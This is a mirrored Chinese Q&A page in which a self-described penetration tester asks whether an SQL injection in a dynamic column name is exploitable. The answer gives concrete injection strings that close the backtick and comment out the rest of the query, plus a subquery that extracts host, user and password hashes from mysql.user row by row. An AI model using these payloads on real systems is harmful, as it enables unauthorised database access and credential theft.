SQL注入易受攻击?

Posted

技术标签:

【中文标题】SQL注入易受攻击?【英文标题】:SQL injection vulnerable? 【发布时间】:2015-10-03 20:48:01 【问题描述】:

所以我在进行渗透测试时遇到了一个小问题。 我发现该页面确实允许来自此类链接的动态 sql 列: http://example.xx/?l=[此参数允许 sql 代码注入] 到如下所示的查询中

sel menu fail(?some sort of failure of selection message)

select `menu_id`, `lang_**[the injected code starts here]**` as lang, age, is_open from `utf8_menu` where `age` = 503 AND `is_active`=1 order by `order`
Unknown column 'lang_' in 'field list'

我的问题是我已经尝试了无数次对查询的操作和添加,但似乎真的无法找到一种方法来利用它。注射真的安全吗?任何帮助表示赞赏。 谢谢:)

【问题讨论】:

如果你注入一个`会发生什么? 【参考方案1】:

没有。这里没有足够的信息来确定代码不受 SQL 注入攻击。

从查询中,我们看到执行它的函数期望返回四列,并且我们看到列的名称。 (这些信息给了我们一个很大的开端。)

我们不确定该函数对返回的列数、列的名称和数据类型以及特定值有多挑剔。或将要获取的行数。 (也许该函数只获取一行。)

如果我们知道语句是这种形式...

  SELECT `menu_id`
       , `lang_**[the injected code starts here]**` AS lang
       , age
       , is_open
    FROM `utf8_menu` 
   WHERE `age` = 503
     AND `is_active`=1
   ORDER BY `order`

我们第一次注入 SQL 可能是这样的:

  foo` AS lang, 1 AS age, 1 AS is_open --

如果字符串值不加修改就被合并到 SQL 中,我们会得到以下形式的 SQL:

  SELECT `menu_id`
       , `lang_foo` AS lang
       , 1 AS age
       , 1 AS is_open -- ` AS lang ... 

“破折号空格”之后的所有内容都将被视为注释。该函数可能会在名为lang_foo 的列上犹豫。如果幸运的话,该函数会按序号位置 (1,2,3,...) 而不是按列名来引用列。

因此,我们可能需要将“foo”更改为函数所期望的其他值。

如果该漏洞利用成功,那么它是一个初始开放。我们可以尝试暴露一些信息。

我们或许可以从 mysql.user 表中获取一些信息...

  SELECT `menu_id`
       , `lang_foo` AS lang
       , col3       AS `age`
       , 1          AS `is_open`
    FROM ( SELECT host     AS menu_id
                , user     AS lang_foo
                , password AS col3
             FROM mysql.user 
            ORDER BY host, user
         ) --  ...       

这取决于函数对返回值的作用;如果它把它放到网页上,我们就是黄金。

如果该函数只返回一行,我们将花费更多的精力来获取整个 mysql.user 表。

我们可以第一次滑入LIMIT 0,1,滑入LIMIT 1,1获得第二行...

【讨论】:

以上是关于SQL注入易受攻击?的主要内容,如果未能解决你的问题,请参考以下文章

如何使我的登录页面易受 SQL 注入攻击?

ruby on rails sql 注入 LIKE '%#argument% 易受攻击?

如何使我的测试网站易受 SQL 注入攻击?

防止 SQL 注入 - PDO,mysqli [重复]

SQL注入初尝

jSQL注入 - 一个跨平台的SQL注入工具